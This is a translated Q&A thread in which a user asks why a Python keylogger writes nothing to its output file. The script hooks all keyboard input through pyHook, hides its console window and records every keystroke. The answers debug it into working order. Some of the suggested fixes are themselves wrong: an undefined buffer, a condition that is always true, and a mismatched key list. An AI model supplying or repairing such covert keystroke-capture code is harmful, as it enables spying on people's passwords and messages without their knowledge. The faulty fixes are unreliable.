2015-09-06 227 views
0

我正在尝试将我对新文本文件所做的按键写入。 我得到了下面的代码:python写入输出文件

import win32api 
import win32console 
import win32gui 
import pythoncom 
import pyHook 

win = win32console.GetConsoleWindow() 
win32gui.ShowWindow(win, 0) 

def OnKeyboardEvent(event): 
    if event.Ascii == 5: 
     _exit(1) 
    if event.Ascii != 0 or 8: 
     f = open('C:\Users\Joey\Desktop\output.txt', 'w+') 
     buffer = f.read() 
     f.close() 

     f = open('C:\Users\Joey\Desktop\output.txt', 'w') 
     keylogs = chr(event.Ascii) 

     if event.Ascii == 13: 
      keylogs = '/n' 
     buffer += keylogs 
     f.write(buffer) 
     f.close() 

hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages() 

,所以我想这是很好的我没有得到任何错误。但每次我检查output.txt我看到一个空的文本文件。我的代码有什么问题?

+0

您是否尝试过打印“缓冲区”的内容以确保不将空字符串写入文件?通过传递'a'选项打开语句,而不是重新读取文件内容,您可以考虑追加到文件。 – albert

回答

2

hereww+之间的差异。你每次都用第二次写入文件覆盖文件,以便写入f=open('C:\Users\Joey\Desktop\output.txt', 'w')

我想象你的文件只有一个换行符。尝试打开只有a选项每次写入文件结尾(EOF)。

if event.Ascii != 0 or event.Ascii !=8: 
    f=open('C:\Users\Joey\Desktop\output.txt', 'a') 
    keylogs=chr(event.Ascii) 

    if event.Ascii == 13: 
     keylogs='/n' 
    buffer += keylogs 
    f.write(buffer) 
    f.close() 
+0

感谢@TomNash帮助我:D – joey

1

最初,你if语句总是判断为真,应该是:

if event.Ascii != 0 or event.Ascii !=8: 

,或者甚至更好:

if event.Ascii not in [0, 1]: 

另外,文件打开方式可能不是你想要看看这the docs这些破坏。